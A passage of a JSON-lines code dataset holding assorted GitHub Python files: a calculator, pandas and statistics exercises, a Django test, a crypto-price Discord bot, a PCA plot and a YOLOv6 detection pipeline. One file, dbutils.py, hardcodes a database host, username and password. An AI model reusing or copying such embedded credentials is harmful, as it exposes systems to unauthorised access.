op=='-':\r\n return a-b\r\n elif op=='/':\r\n return a/b\r\n elif op=='*':\r\n return a*b\r\n else:\r\n return None\r\n\r\n\r\ndef postfix_convert(cal_str):\r\n s=[] # 运算符\r\n l=[] # 中间结果\r\n cal_str_list=[]\r\n char=''\r\n for i in cal_str:\r\n if i not in operator.keys():\r\n char += i\r\n else:\r\n cal_str_list.append(char)\r\n char = ''\r\n cal_str_list.append(i)\r\n cal_str_list.append(char)\r\n # print(cal_str_list)\r\n for char in cal_str_list:\r\n if char not in operator.keys():\r\n l.append(char)\r\n else:\r\n if len(s)==0:\r\n s.append(char)\r\n else:\r\n if char=='(':\r\n s.append(char)\r\n elif char==')':\r\n while s[-1]!='(':\r\n l.append(s.pop())\r\n s.pop()\r\n else:\r\n while len(s)!=0:\r\n if s[-1]=='(' or operator[char]>operator[s[-1]]:\r\n break\r\n l.append(s.pop())\r\n s.append(char)\r\n while len(s)!=0:\r\n l.append(s.pop())\r\n l.reverse()\r\n return l\r\n\r\n\r\nif __name__ == '__main__':\r\n s='120+145'\r\n # print(postfix_convert(s))\r\n print(cal(s))\r\n","repo_name":"asdf-x/wshell","sub_path":"final/function/calulate.py","file_name":"calulate.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42590117061","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import style\r\n\r\nstyle.use('fivethirtyeight')\r\n\r\ndf = pd.DataFrame({'day':[1,2,3,4,5],\r\n 'attencdence':[39,48,68,22,34]})\r\nprint(df)\r\n\r\n#chnging the index\r\n\r\ndf.set_index('day',inplace=True)\r\n\r\ndf.plot\r\nplt.show()\r\n\r\n#changing the column header\r\ndf = df.rename(columns={\"day\":\"weekdays\"})\r\n\r\nprint(df)\r\n\r\n#connecting two data sets into one set\r\nStudent1 = pd.DataFrame({'assignment':[1,2,3,4,5],'attencdence':[45,679,3,78,34],'total':[67,94,38,74,89]}, index =[1,2,3,4,5])\r\nStudent2 = pd.DataFrame({'Id':[1,2,3,4,5],'rank':[45,679,3,78,34],'degree':['it','it','itm','itm','it']}, index =[6,7,8,9,10])\r\n\r\nconcat = pd.concat([Student1,Student2])\r\nprint(concat)","repo_name":"PasinduUkwatta/Python-Coding-Projects","sub_path":"PandasChangingTheIndex.py","file_name":"PandasChangingTheIndex.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10545174557","text":"from unittest import TestCase\nfrom unittest.mock import patch\n\nfrom project.apps.blog.views import ArticleListView\n\n\nclass ArticleListViewTest(TestCase):\n @patch(\n 'django.views.generic.list.MultipleObjectMixin.paginate_queryset',\n return_value=(\n 0,\n 1,\n 0,\n 0\n )\n )\n @patch(\n 'django.views.generic.list.MultipleObjectMixin.get_context_data',\n return_value={}\n )\n def test_get_context_data(\n self,\n mock_paginate_queryset,\n mock_get_context_data,\n ):\n article_list_view = ArticleListView()\n context = article_list_view.get_context_data()\n\n self.assertIn('page', context)\n","repo_name":"slaily/pypublisher","sub_path":"project/apps/blog/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5019729031","text":"from cs50 import get_int\n\n# GET CREDIT CARD NUMBER FROM USER\nc_num = get_int(\"Enter your credit card number: \")\n\n\n# DRIVER AND CLASSIFIER FUNCTION\ndef main():\n num = str(c_num)\n if get_sum(c_num) % 10 != 0:\n print(\"INVALID\")\n\n elif len(num) == 15 and int(num[0]) == 3 and (int(num[1]) == 4 or int(num[1]) == 7):\n print(\"AMEX\")\n\n elif int(num[0]) == 4 and (len(num) == 13 or len(num) == 16):\n print(\"VISA\")\n\n elif len(num) == 16 and int(num[0]) == 5 and (int(num[1]) in [1, 2, 3, 4, 5]):\n print(\"MASTERCARD\")\n\n\n# SPLIT AND ADD DIGITS\ndef split(num):\n\n L = []\n if num > 9:\n L.append(num % 10)\n L.append(num // 10)\n return L[0] + L[1]\n return num\n\n\n# SUM APPROPRIATE CARD NUMBER DIGITS\ndef get_sum(c_num):\n\n L_even = []\n L_odd = []\n for i in range(len(str(c_num))):\n if i % 2 == 0:\n temp = c_num % 10\n L_even.append(split(temp))\n c_num = c_num // 10\n else:\n temp = c_num % 10\n L_odd.append(split(2*temp))\n c_num = c_num // 10\n return sum(L_odd) + sum(L_even)\n\n\n# NAMEGAUARD\nif __name__ == \"__main__\":\n\n main()\n","repo_name":"William-Freed/cs50","sub_path":"credit.py","file_name":"credit.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28931486046","text":"import json\nimport random\nimport mysql.connector\nimport numpy as np\n\nHOST = 'eu-cdbr-west-01.cleardb.com'\nUSER = 'b0e845e610b5e1'\nPASSWORD = 'dd1eef7b'\nDATABASE = 'heroku_14806ad62e1ed9f'\n\n\ndef connect():\n return mysql.connector.connect(\n host=HOST,\n user=USER,\n password=PASSWORD,\n database=DATABASE,\n ssl_disabled=True\n )\n\n\ndef fetchlastSessionId():\n db = connect()\n cursor = db.cursor()\n\n query = \"\"\"\n SELECT SESSION_ID FROM SESSION_DATA ORDER BY SESSION_ID DESC LIMIT 1;\n \"\"\"\n try:\n cursor.execute(query)\n lastSessionId = cursor.fetchone()\n except:\n print('Error occurred while fetching last session id')\n return 'null'\n\n db.close()\n if (lastSessionId is not None):\n return str(lastSessionId[0])\n else:\n return '0'\n\n\ndef fetchLastToolId():\n db = connect()\n cursor = db.cursor()\n\n query = \"\"\"\n SELECT ID FROM TOOL_DATA ORDER BY ID DESC LIMIT 1;\n \"\"\"\n try:\n cursor.execute(query)\n toolId = cursor.fetchone()\n except:\n print('Error occurred while fetching last tool id')\n return 'null'\n\n db.close()\n return toolId[0]\n\n\ndef insertSessionData(data):\n db = connect()\n cursor = db.cursor()\n\n query = \"\"\"SELECT SCENARIO, count(*)\n From session_data Where FINISHED='Y'\n Group By SCENARIO\"\"\"\n\n try:\n cursor.execute(query, ())\n scenarioDistribution = dict(cursor.fetchall())\n except:\n print('Error occurred while fetching scenario from session_data')\n return json.dumps({'success': False})\n\n if ('0' not in scenarioDistribution and '1' in scenarioDistribution):\n new_scenario = '0'\n elif ('0' in scenarioDistribution and '1' not in scenarioDistribution):\n new_scenario = '1'\n elif ('0' not in scenarioDistribution and '1' not in scenarioDistribution):\n new_scenario = str(round(random.random()))\n else:\n if (scenarioDistribution is not None):\n if (scenarioDistribution['0'] > scenarioDistribution['1']):\n new_scenario = '1'\n elif (scenarioDistribution['0'] < scenarioDistribution['1']):\n new_scenario = '0'\n else:\n new_scenario = str(round(random.random()))\n else:\n new_scenario = str(round(random.random()))\n\n query = \"\"\"SELECT TASK_SCENARIO FROM SESSION_DATA Where FINISHED='Y' ORDER BY SESSION_ID DESC LIMIT 1;\"\"\"\n try:\n cursor.execute(query)\n task_scenario = cursor.fetchone()\n except:\n print('Error occurred while fetching task_scenario from session_data')\n return json.dumps({'success': False})\n\n if (task_scenario is not None):\n new_task_scenario = (task_scenario[0] + 1) % 6\n else:\n new_task_scenario = 0\n\n query = \"\"\"INSERT INTO SESSION_DATA (SCENARIO, TASK_SCENARIO, SOURCE, OLD_PARTICIPANT, FINISHED) VALUES (%s, %s, %s, %s, %s)\"\"\"\n values = (new_scenario, new_task_scenario,\n data['source'], data['oldParticipant'], 'N')\n\n try:\n cursor.execute(query, values)\n db.commit()\n except:\n print('Error occurred while inserting data to session_data')\n return json.dumps({'success': False})\n\n db.close()\n return json.dumps({'success': True, 'SCENARIO': new_scenario, 'SESSION_ID': fetchlastSessionId(), 'TASK_SCENARIO': new_task_scenario}, indent=4)\n\n\ndef computePercentage(data):\n MAX_STD_DEVIATION = 2.36\n\n pred = np.array([data['best'], data['secondBest'],\n data['thirdBest']], dtype=np.float32)\n # print(f'Predictions: {pred}')\n\n # Use classifer's prediction probability for confidence level\n # Use a single \"most\" accurate model based on validation set\n\n # Tranforming the mean value of predictions in the range [0, 5]\n # and changing the features from NOT\n\n # score = 5 - max(min(data['best'], 5), 0)\n # score = int(score * 20)\n score = 100 - int(data['best'] * 20)\n if score > 100:\n score = 100\n if score < 0:\n score = 0\n\n # standard deviation => uncertainty\n # 1 - standard deviation => certainty\n confidence = 100 - int((pred.std()/MAX_STD_DEVIATION) * 100)\n if confidence > 100:\n confidence = 100\n if confidence < 0:\n confidence = 0\n\n return {\n 'value': score,\n 'confidence': confidence\n }\n\n\ndef insertToolData(taskData, predictions):\n db = connect()\n cursor = db.cursor()\n\n aggregatePredictions = {\n 'state1': computePercentage(predictions['state1_new']),\n 'state3': computePercentage(predictions['state_3']),\n 'state4': computePercentage(predictions['state_4']),\n 'state5': computePercentage(predictions['state_5']),\n 'state6': computePercentage(predictions['state_6']),\n 'state7': computePercentage(predictions['state_7']),\n 'state8': computePercentage(predictions['state_8']),\n 'state9': computePercentage(predictions['state_9'])\n }\n\n query = \"\"\"\n INSERT INTO TOOL_DATA (\n SESSION_ID,\n TITLE,\n DESCRIPTION,\n OVERALL_CLARITY_VALUE,\n OVERALL_CLARITY_CONFIDENCE,\n FEATURE1_VALUE,\n FEATURE2_VALUE,\n FEATURE3_VALUE,\n FEATURE4_VALUE,\n FEATURE5_VALUE,\n FEATURE6_VALUE,\n FEATURE7_VALUE,\n FEATURE1_CONFIDENCE,\n FEATURE2_CONFIDENCE,\n FEATURE3_CONFIDENCE,\n FEATURE4_CONFIDENCE,\n FEATURE5_CONFIDENCE,\n FEATURE6_CONFIDENCE,\n FEATURE7_CONFIDENCE)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\n\n values = (\n int(taskData['sessionId']),\n taskData['title'],\n taskData['description'],\n aggregatePredictions['state1']['value'],\n aggregatePredictions['state1']['confidence'],\n aggregatePredictions['state3']['value'],\n aggregatePredictions['state4']['value'],\n aggregatePredictions['state5']['value'],\n aggregatePredictions['state6']['value'],\n aggregatePredictions['state7']['value'],\n aggregatePredictions['state8']['value'],\n aggregatePredictions['state9']['value'],\n aggregatePredictions['state3']['confidence'],\n aggregatePredictions['state4']['confidence'],\n aggregatePredictions['state5']['confidence'],\n aggregatePredictions['state6']['confidence'],\n aggregatePredictions['state7']['confidence'],\n aggregatePredictions['state8']['confidence'],\n aggregatePredictions['state9']['confidence']\n )\n\n try:\n cursor.execute(query, values)\n db.commit()\n except:\n print('Error occurred while inserting data to session_data')\n return json.dumps({'success': False})\n\n db.close()\n return {\n 'predictions': aggregatePredictions,\n 'id': fetchLastToolId(),\n 'success': True\n }\n\n\ndef insertCreatedTask(data):\n db = connect()\n cursor = db.cursor()\n\n query = \"\"\"INSERT INTO CREATED_TASKS (SESSION_ID, TITLE, DESCRIPTION) VALUES (%s, %s, %s)\"\"\"\n\n values = (\n data['sessionId'],\n data['title'],\n data['description']\n )\n\n try:\n cursor.execute(query, values)\n db.commit()\n except:\n print('Error occurred while inserting data to created_tasks')\n return json.dumps({'success': False})\n\n db.close()\n return json.dumps({'success': True}, indent=4)\n\n\ndef insertEvaluationData(data):\n db = connect()\n cursor = db.cursor()\n\n query = \"\"\"INSERT INTO EVALUATION_DATA (\n SESSION_ID,\n EXPERIENCE,\n PLATFORMS,\n MOST_USED_PLATFORM,\n MOST_TASKS,\n Q1,\n Q2,\n Q3,\n Q4,\n Q5,\n Q6,\n Q7,\n Q8,\n Q9,\n Q10,\n Q11,\n DIMENSIONS,\n COMMENT)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\n\n values = (\n data['sessionId'],\n data['experience'],\n data['platforms'],\n data['most_used_platform'],\n data['most_tasks'],\n data['q1'],\n data['q2'],\n data['q3'],\n data['q4'],\n data['q5'],\n data['q6'],\n data['q7'],\n data['q8'],\n data['q9'],\n data['q10'],\n data['q11'],\n data['dimensions'],\n data['comment']\n )\n\n try:\n cursor.execute(query, values)\n db.commit()\n except:\n print('Error occurred while inserting data to evaluation_data')\n return json.dumps({'success': False})\n\n # Marking it finished\n query = \"\"\"UPDATE SESSION_DATA SET FINISHED='Y' WHERE SESSION_ID=%s\"\"\"\n values = (data['sessionId'],)\n\n try:\n cursor.execute(query, values)\n db.commit()\n except:\n print('Error occurred updating FINISHED flag in session_data')\n return json.dumps({'success': False})\n\n db.close()\n return json.dumps({'success': True}, indent=4)\n","repo_name":"Nix07/clarifyIt","sub_path":"backend/dbutils.py","file_name":"dbutils.py","file_ext":"py","file_size_in_byte":9232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28315613073","text":"import matplotlib.pyplot as plt \nimport numpy as np \nfrom numpy import linalg as LA\nimport random\nimport math\n\ndef main():\n\tpca_preparo = PCA()\n\tpca_preparo.aleatorios(200)\n\tpca_preparo.circulo()\n\tpca_preparo.alongamento()\n\tpca_preparo.rotacao()\n\tpca_preparo.covariancia()\n\tpca_preparo.eigen()\n\tpca_preparo.plot()\n\t#pca_preparo.subplot()\n\n\nclass PCA:\n\tdef __init__(self):\n\t\tself.aleatorios_x = []\n\t\tself.aleatorios_y = []\n\t\tself.circulo_x = []\n\t\tself.circulo_y = []\n\t\tself.circulo_y_alongado = []\n\t\tself.rotacao_ = []\n\t\tself.cov_matrix = []\n\t\tself.eigenvalue = []\n\t\tself.eigenvector = []\n\t\tself.new_circulo_x = []\n\t\tself.new_circulo_y = []\n\n\tdef aleatorios(self,interacoes):\n\t\tfor i in range(interacoes):\n\t\t\tk = random.uniform(-1,1)\n\t\t\th = random.uniform(-1,1)\n\t\t\tself.aleatorios_x.append(k)\n\t\t\tself.aleatorios_y.append(h)\n\n\tdef circulo(self):\n\t\tfor i in range(len(self.aleatorios_x)):\n\t\t\tk = math.sqrt((self.aleatorios_y[i])**2 + (self.aleatorios_x[i])**2)\n\t\t\tif k <= 1:\n\t\t\t\tself.circulo_x.append(self.aleatorios_x[i])\n\t\t\t\tself.circulo_y.append(self.aleatorios_y[i])\n\t\t\telse:\n\t\t\t\tcontinue\n\n\tdef alongamento(self):\n\t\tfor i in range(len(self.circulo_y)):\n\t\t\tself.circulo_y_alongado.append(0)\n\t\tfor i in range(len(self.circulo_y)):\n\t\t\tself.circulo_y_alongado[i] = 0.2*self.circulo_y[i]\n\n\tdef rotacao(self):\n\t\tk = np.radians(30)\n\t\trot = [[np.cos(k),np.sin(k)],[np.sin(k),np.cos(k)]]\n\t\tself.rotacao_ = np.dot(rot,[self.circulo_x,self.circulo_y_alongado])\n\n\tdef covariancia(self):\n\t\tself.cov_matrix = np.cov(self.rotacao_)\n\t\n\tdef eigen(self):\n\t\tself.eigenvalue,self.eigenvector = LA.eig(self.cov_matrix)\n\t\tself.eigenvalue.sort()\n\t\tself.eigenvalue = self.eigenvalue[::-1]\n\t\t#eta = self.eigenvalue[0]/(sum(self.eigenvalue))\n\t\t#print(eta)\n\n\tdef plot(self):\n\t\torigin = [0,0]\n\t\tplt.title(\"PCA\")\n\t\tplt.xlabel(\"x\")\n\t\tplt.ylabel(\"y\")\n\t\tplt.xlim(-1,1)\n\t\tplt.ylim(-1,1)\n\t\tplt.quiver(*origin, *self.eigenvector[:,0], width = 0.004)\n\t\tplt.quiver(*origin, *self.eigenvector[:,1], width = 0.004)\n\t\t#plt.scatter(self.circulo_x,self.circulo_y, s = 2)\n\t\t#plt.scatter(self.circulo_x,self.circulo_y_alongado, s = 2)\n\t\tplt.scatter(self.rotacao_[0],self.rotacao_[1], s = 2)\n\t\tplt.show()\n\n\tdef subplot(self):\n\t\tfig, ax = plt.subplots(1,3)\n\t\tplt.xlim(-1,1)\n\t\tplt.ylim(-1,1)\n\t\tfig.suptitle(\"PCA\")\n\t\tax[0].scatter(self.circulo_x,self.circulo_y, s = 2)\n\t\tax[1].scatter(self.circulo_x,self.circulo_y_alongado, s = 2)\n\t\tax[2].scatter(self.rotacao_[0],self.rotacao_[1], s = 2)\n\t\tplt.show()\n\nif __name__ == '__main__':\n\tmain()","repo_name":"ricardotetti/pattern_recognition_and_analisys","sub_path":"proj_3/pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"30786781734","text":"import scipy.stats as stats\n\n# Request data from the user\nn1 = int(input(\"Enter the sample size for Sample 1: \"))\nxbar1 = float(input(\"Enter the sample mean for Sample 1: \"))\ns1 = float(input(\"Enter the sample standard deviation for Sample 1: \"))\n\nn2 = int(input(\"Enter the sample size for Sample 2: \"))\nxbar2 = float(input(\"Enter the sample mean for Sample 2: \"))\ns2 = float(input(\"Enter the sample standard deviation for Sample 2: \"))\n\nalpha = float(input(\"Enter the significance level (alpha) as a decimal: \"))\n\n# Calculate the t-statistic\npooled_variance = (((n1 - 1) * (s1 ** 2) + (n2 - 1) * (s2 ** 2)) / (n1 + n2 - 2))\nt0 = (xbar1 - xbar2) / ((pooled_variance * (1 / n1 + 1 / n2)) ** 0.5)\n\n# Calculate the degrees of freedom\ndf = n1 + n2 - 2\n\n# Calculate the critical values\nlower_critical_value = stats.t.ppf(alpha / 2, df)\nupper_critical_value = stats.t.ppf(1 - alpha / 2, df)\n\n# Check if t0 falls within the range of the critical values\nif lower_critical_value < t0 < upper_critical_value:\n print(f\"t0 = {t0:.3f}. Fail to reject H0. There is not sufficient evidence to conclude that the means are different.\")\nelse:\n print(f\"t0 = {t0:.3f}. Reject H0. There is sufficient evidence to conclude that the means are different.\")\n","repo_name":"kelvinDtran/FunCode","sub_path":"Statistics/Hypothesis Tests/HTT.py","file_name":"HTT.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13860416727","text":"from pymarketcap import Pymarketcap\nimport datetime\nimport discord\nfrom random import randint\nimport requests\n\n\nclass Class_Cryptopia:\n def __init__(self, auth):\n self.auth = str(auth).split(\"#\")\n self.auth = self.auth[0]\n self.time = datetime.datetime.now().timestamp()\n self.color = randint(0, 0xffffff)\n self.name = \"None\"\n self.default_ticker = \"BTC\"\n self.default_print = \"Default Print\"\n self.cryptopia_api_url_btc = \"https://www.cryptopia.co.nz/api/GetMarket/{}_BTC\"\n self.cryptopia_api_url_usdt = \"https://www.cryptopia.co.nz/api/GetMarket/{}_USDT\"\n return\n\n def function_cmc(self, coin):\n coin = coin.upper()\n coinmarketcap = Pymarketcap()\n cmc_json = coinmarketcap.ticker(coin, convert=\"EUR\")\n rank = str(\"Rank : [Rank \" + str(cmc_json[\"rank\"]) + \"]\\n\")\n marketcap = str(\"MC : \" + \"$ \" + \"{:,}\".format(float(cmc_json[\"market_cap_usd\"])) + \"\\n\")\n price = str(\"Price : \" + \"$\" + \"{0:.3f}\".format(float(cmc_json[\"price_usd\"])) + \" | \" + \"{0:.3f}\".format(\n float(cmc_json[\"price_eur\"])) + \"€ \\n\")\n change_1 = str(\"1h Swing : \" + str(cmc_json[\"percent_change_1h\"]) + \"%\\n\")\n change_24 = str(\"24h Swing : \" + str(cmc_json[\"percent_change_24h\"]) + \"%\\n\")\n change_7 = str(\"7 days Swing : \" + str(cmc_json[\"percent_change_7d\"]) + \"%\\n\")\n value_mc = \"```css\\n\" + rank + marketcap + price + change_1 + change_24 + change_7 + \"```\"\n\n self.name = cmc_json[\"name\"]\n return value_mc\n\n def function_cryptopia(self, coin):\n coin = coin.upper()\n if coin == \"BTC\":\n api_url = self.cryptopia_api_url_usdt.format(coin)\n else:\n api_url = self.cryptopia_api_url_btc.format(coin)\n r = requests.get(api_url)\n topia_json = r.json()\n\n error = topia_json[\"Error\"]\n if error is None:\n if coin == \"BTC\":\n pair = \"Pair : USD-\" + coin + \"\\n\"\n if topia_json[\"Data\"][\"LastPrice\"] is None:\n last = \"Last : Unknown\\n\"\n else:\n last = \"Last : {}\\n\".format(topia_json[\"Data\"][\"LastPrice\"])\n if topia_json[\"Data\"][\"BidPrice\"] is None:\n bid = \"Bid : Unknown\\n\"\n else:\n bid = \"Bid : {}\\n\".format(topia_json[\"Data\"][\"BidPrice\"])\n if topia_json[\"Data\"][\"AskPrice\"] is None:\n ask = \"Ask : Unknown\\n\"\n else:\n ask = \"Ask : {}\\n\".format(topia_json[\"Data\"][\"AskPrice\"])\n if topia_json[\"Data\"][\"Volume\"] is None:\n volume = \"Volume : Unknown\\n\"\n else:\n volume = \"Volume : {} BTC\\n\".format(topia_json[\"Data\"][\"Volume\"])\n if topia_json[\"Data\"][\"High\"] is None:\n high = \"1d High : Unknown\\n\"\n else:\n high = \"1d High : \" + \"{}\\n\".format(topia_json[\"Data\"][\"High\"])\n if topia_json[\"Data\"][\"Low\"] is None:\n low = \"1d Low : Unknown\\n\"\n else:\n low = \"1d Low : \" + \"{}\\n\".format(topia_json[\"Data\"][\"Low\"])\n value_topia = \"```css\\n\" + pair + volume + last + bid + ask + high + low + \"\\n```\"\n else:\n pair = \"Pair : BTC-\" + coin + \"\\n\"\n if topia_json[\"Data\"][\"LastPrice\"] is None:\n last = \"Last : Unknown\\n\"\n else:\n last = \"Last : {}\\n\".format(topia_json[\"Data\"][\"LastPrice\"])\n if topia_json[\"Data\"][\"BidPrice\"] is None:\n bid = \"Bid : Unknown\\n\"\n else:\n bid = \"Bid : {}\\n\".format(topia_json[\"Data\"][\"BidPrice\"])\n if topia_json[\"Data\"][\"AskPrice\"] is None:\n ask = \"Ask : Unknown\\n\"\n else:\n ask = \"Ask : {}\\n\".format(topia_json[\"Data\"][\"AskPrice\"])\n if topia_json[\"Data\"][\"Volume\"] is None:\n volume = \"Volume : Unknown\\n\"\n else:\n volume = \"Volume : {} BTC\\n\".format(topia_json[\"Data\"][\"Volume\"])\n if topia_json[\"Data\"][\"High\"] is None:\n high = \"1d High : Unknown\\n\"\n else:\n high = \"1d High : \" + \"{}\\n\".format(topia_json[\"Data\"][\"High\"])\n if topia_json[\"Data\"][\"Low\"] is None:\n low = \"1d Low : Unknown\\n\"\n else:\n low = \"1d Low : \" + \"{}\\n\".format(topia_json[\"Data\"][\"Low\"])\n value_topia = \"```css\\n\" + pair + volume + last + bid + ask + high + low + \"\\n```\"\n else:\n value_topia = \"```css\\n{} is not listed on Cryptopia.\\n```\".format(self.name)\n\n return value_topia\n\n def function_display(self, value_mc, value_topia):\n embed = discord.Embed(colour=discord.Colour(self.color), url=\"https://discordapp.com\",\n timestamp=datetime.datetime.utcfromtimestamp(self.time))\n embed.add_field(name=\":medal: CoinMarketCap Informations\", value=value_mc, inline=True)\n embed.add_field(name=\":space_invader: Cryptopia Informations\", value=value_topia, inline=False)\n embed.set_footer(text=\"Request achieved :\")\n return embed\n\n async def cryptopia(self, coin):\n tickers = self.function_cmc(coin)\n values = self.function_cryptopia(coin)\n embed = self.function_display(tickers, values)\n return embed\n","repo_name":"superdev0225/discod-bot","sub_path":"dir_request_api/cryptopia.py","file_name":"cryptopia.py","file_ext":"py","file_size_in_byte":5599,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"8018839627","text":"# ENTRADA\nprint('Digite 3 números inteiros e positivos a seguir')\nA = int(input('primeiro número: '))\nB = int(input('segundo número: '))\nC = int(input('terceiro número: '))\n\n# PROCESSAMENTO\nR = (A + B) ** 2\nS = (B + C) ** 2\nD = int((R + S) / 2)\n\n# SAÍDA\nprint(('---'*20))\nprint('O resultado da expressão D = (R + S) / 2 é igual a: {}' .format(D))","repo_name":"marcosaraujo2020/ifpi-ads-algoritmos2020","sub_path":"Lista_Prof_Fabio/Fabio01_Parte02/f1_q16_inteiro_abc.py","file_name":"f1_q16_inteiro_abc.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22575637343","text":"import torch\nfrom detector import detect, get_yolo_model\nfrom util import filter_box, filter_box_deperacated, plot_boxes, crop_img, get_center, IMG_EXT\nfrom classifier import get_resnet_model, classify, get_vit_model, get_swin_model\nfrom evaler import evalutate\nimport cv2, os\nfrom typing import Union, List\nfrom components.logger import LOGGER\nimport argparse\nimport torch.distributed as dist\nimport yaml\nimport os.path as osp\nfrom pathlib import Path\nimport datetime\nimport sys\nfrom util import Config\nimport torch.nn as nn\nimport glob\nfrom tqdm import tqdm\nimport json\nimport numpy as np\n\nfrom yolov6.core.engine import Trainer\nfrom yolov6.utils.events import save_yaml, load_yaml\nfrom yolov6.utils.envs import get_envs, select_device, set_random_seed\nfrom yolov6.utils.general import increment_name, find_latest_checkpoint, check_img_size\n\nfrom resnet.core.trainer import Trainer as resn_Trainer\nfrom vit.core.trainer import Trainer as vit_Trainer\nfrom swin_trans.core.trainer import Trainer as swin_Trainer\n\nPATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\ndef get_date_str():\n return datetime.datetime.now().strftime('%Y-%m-%d-%H-%M')\n\ndef get_disease_str(disease: Union[List, tuple]):\n disease_str = ''\n if disease[0] != 'None': disease_str += disease[0]\n if disease[1] != 'None': disease_str += f', {disease[1]}'\n return disease_str\n\ndef predict(args):\n try:\n device = torch.device(args.device)\n except:\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n \n detect_model, classify_model = None, None\n cfgs = load_yaml(args.yaml)\n if 'yolov6' in cfgs['detect']:\n detect_model, stride, dclass_names = get_yolo_model(args.detect_model, args.yaml, device=device)\n if 'resnet' in cfgs['classify']:\n classify_model, cclass_names = get_resnet_model(args.classify_model, args.yaml, device=device)\n if 'ViT' in cfgs['classify']:\n classify_model, cclass_names = get_vit_model(args.classify_model, args.yaml, device=device)\n if 'swin' in cfgs['classify']:\n classify_model, cclass_names = get_swin_model(args.classify_model, args.yaml, device=device)\n \n assert detect_model is not None and classify_model is not None, 'Invalid model path or file.'\n\n if args.save_dir is not None and not os.path.exists(args.save_dir):\n os.makedirs(args.save_dir)\n\n results = []\n img_files = []\n if os.path.isdir(args.source):\n [img_files.extend(glob.glob(os.path.join(args.source, '**.' + ext))) for ext in IMG_EXT]\n else:\n img_files.append(args.source)\n processor = tqdm(img_files)\n processor.set_description('Processing')\n for i, path in enumerate(processor):\n img_src, boxes = detect(detect_model, path, dclass_names, stride=stride, device=device)\n boxes = filter_box(img_src, boxes)\n imgs = crop_img(img_src, boxes, 4)\n\n ret = [classify(classify_model, img, cclass_names, device=device) for img in imgs]\n result = []\n for i, (data, box) in enumerate(zip(ret, boxes)):\n disease_type, conf, cls_logits = data[0], data[1], data[2]\n #box['label'] += ' ' + get_disease_str(disease_type)\n box['dlabel'] = get_disease_str(disease_type)\n #box['logits'] = [x * box['confidence'] for x in logits]\n result.append({\n \"bone_type\": box['label'],\n \"bone_idx\": box['class_num'],\n \"disease_type\": get_disease_str(disease_type), \n \"disease_idx\": (np.argmax(cls_logits[:6]), np.argmax(cls_logits[6:])),\n \"coord\": get_center(box),\n \"detect_conf\": box['confidence'],\n \"classify_conf\": conf[0] * conf[1],\n \"detect_logits\": box['logits'],\n \"classify_logits\": (cls_logits[:6], cls_logits[6:]),\n })\n results.append({'file_path': path, 'result': result})\n\n if args.save_img:\n plot_boxes(img_src, 1, boxes)\n cv2.imwrite(os.path.join(args.save_dir, f'result_{i}.jpg'), img_src)\n\n LOGGER.info('Done.')\n LOGGER.debug(results)\n if args.save_txt:\n with open(os.path.join(args.save_dir, 'result.txt')) as f:\n for result in results:\n f.write(str(result))\n \n return results\n\ndef eval(args):\n results = predict(args)\n cfgs = load_yaml(args.yaml)\n\n # extract class_to_num_dict\n num_dict = {}\n [num_dict.update({name: i}) for i, name in enumerate(cfgs['names'])]\n dnum_dict = {}\n [dnum_dict.update({name: i}) for i, name in enumerate(cfgs['dnames'])]\n\n # preprocess source data\n label_path = sorted(glob.glob(os.path.join(args.source, '**.json')))\n results = sorted(results, key=lambda x : x['file_path'])\n labels = []\n for path in label_path:\n with open(path, 'r') as f:\n labels.append(json.loads(f.read()))\n\n eval_res = evalutate(results, labels, num_dict, dnum_dict)\n LOGGER.info(f'Evaluation result: {eval_res}')\n return eval_res\n\ndef check_and_init(args):\n '''check config files and device.'''\n # check files\n master_process = args.rank == 0 if args.world_size > 1 else args.rank == -1\n if args.resume:\n # args.resume can be a checkpoint file path or a boolean value.\n checkpoint_path = args.resume if isinstance(args.resume, str) else find_latest_checkpoint()\n assert os.path.isfile(checkpoint_path), f'the checkpoint path is not exist: {checkpoint_path}'\n LOGGER.info(f'Resume training from the checkpoint file :{checkpoint_path}')\n resume_opt_file_path = Path(checkpoint_path).parent.parent / 'args.yaml'\n if osp.exists(resume_opt_file_path):\n with open(resume_opt_file_path) as f:\n args = argparse.Namespace(**yaml.safe_load(f)) # load args value from args.yaml\n else:\n LOGGER.warning(f'We can not find the path of {Path(checkpoint_path).parent.parent / \"args.yaml\"},'\\\n f' we will save exp log to {Path(checkpoint_path).parent.parent}')\n LOGGER.warning(f'In this case, make sure to provide configuration, such as data, batch size.')\n args.save_dir = str(Path(checkpoint_path).parent.parent)\n args.resume = checkpoint_path # set the args.resume to checkpoint path.\n else:\n args.save_dir = str(increment_name(osp.join(args.output_dir, args.name)))\n if master_process:\n os.makedirs(args.save_dir)\n\n # check specific shape\n if args.specific_shape:\n if args.rect:\n LOGGER.warning('You set specific shape, and rect to True is needless. YOLOv6 will use the specific shape to train.')\n args.height = check_img_size(args.height, 32, floor=256) # verify imgsz is gs-multiple\n args.width = 